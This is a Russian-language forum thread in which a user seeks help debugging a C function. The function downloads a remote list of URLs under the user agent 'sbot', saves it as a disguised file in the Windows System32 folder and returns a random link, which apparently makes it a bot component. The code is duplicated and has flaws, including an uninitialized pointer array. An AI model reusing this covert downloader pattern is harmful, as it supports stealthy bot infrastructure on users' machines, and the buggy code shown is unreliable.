Где тут баг? :(
Где я тут ошибся, подскажите плз. Спасибо!!
Код:
char* getConfigFile(char *downloadPath)
{
HANDLE fl, hurl;
DWORD dw;
char buf[0xffff];
FILE *f;
int cnt = 0;
char linktxt[512];
char** array;
BOOL notexists = FALSE;
HINTERNET hinet;
char config_filename[MAX_PATH];
hinet = InternetOpen("sbot",INTERNET_OPEN_TYPE_PRECONFIG,0,0,0);
hurl = InternetOpenUrl(hinet, downloadPath, 0, 0, 0, 0);
if (hurl != NULL) {
if ( !InternetReadFile(hurl, buf, sizeof(buf), &dw) )
return NULL;
ExpandEnvironmentStrings("%WINDIR%\\System32\\open32.conf", config_filename, sizeof config_filename);
fl = CreateFile(config_filename,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(fl, buf, dw, &dw, NULL);
CloseHandle(fl);
InternetCloseHandle(hurl);
InternetCloseHandle(hinet);
if ((f = fopen(config_filename, "r")) != NULL) {
cnt = 0;
while (!feof( f )) {
fgets(linktxt, sizeof linktxt, f); // read url link text
array[cnt] = (char*) malloc( strlen(linktxt) + 1);
strcpy(array[cnt], linktxt);
cnt++;
if (strstr(linktxt, EOFF)) break;
}
if (f != NULL)
fclose(f);
if (cnt == 0)
return NULL;
}
}else return NULL;
return array[rand()%cnt];
{
HANDLE fl, hurl;
DWORD dw;
char buf[0xffff];
FILE *f;
int cnt = 0;
char linktxt[512];
char** array;
BOOL notexists = FALSE;
HINTERNET hinet;
char config_filename[MAX_PATH];
hinet = InternetOpen("sbot",INTERNET_OPEN_TYPE_PRECONFIG,0,0,0);
hurl = InternetOpenUrl(hinet, downloadPath, 0, 0, 0, 0);
if (hurl != NULL) {
if ( !InternetReadFile(hurl, buf, sizeof(buf), &dw) )
return NULL;
ExpandEnvironmentStrings("%WINDIR%\\System32\\open32.conf", config_filename, sizeof config_filename);
fl = CreateFile(config_filename,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(fl, buf, dw, &dw, NULL);
CloseHandle(fl);
InternetCloseHandle(hurl);
InternetCloseHandle(hinet);
if ((f = fopen(config_filename, "r")) != NULL) {
cnt = 0;
while (!feof( f )) {
fgets(linktxt, sizeof linktxt, f); // read url link text
array[cnt] = (char*) malloc( strlen(linktxt) + 1);
strcpy(array[cnt], linktxt);
cnt++;
if (strstr(linktxt, EOFF)) break;
}
if (f != NULL)
fclose(f);
if (cnt == 0)
return NULL;
}
}else return NULL;
return array[rand()%cnt];
ExpandEnvironmentStrings( "%WINDIR%\System32\open32.conf", config_filename, sizeof config_filename);
на
ExpandEnvironmentStrings( "%WINDIR%\\System32\\open32.conf", config_filename, sizeof(config_filename));
Цитата:
Originally posted by rostyslav
Для начала замени
ExpandEnvironmentStrings( "%WINDIR%\System32\open32.conf", config_filename, sizeof config_filename);
на
ExpandEnvironmentStrings( "%WINDIR%\\System32\\open32.conf", config_filename, sizeof(config_filename));
Для начала замени
ExpandEnvironmentStrings( "%WINDIR%\System32\open32.conf", config_filename, sizeof config_filename);
на
ExpandEnvironmentStrings( "%WINDIR%\\System32\\open32.conf", config_filename, sizeof(config_filename));
Так у меня и есть. Это сайт закосячил немного мой код...
Под char** array; 1 раз память выделил тока :). Заменил на char* array[100]; и все чики-поки ;)
Всем спасибо ;)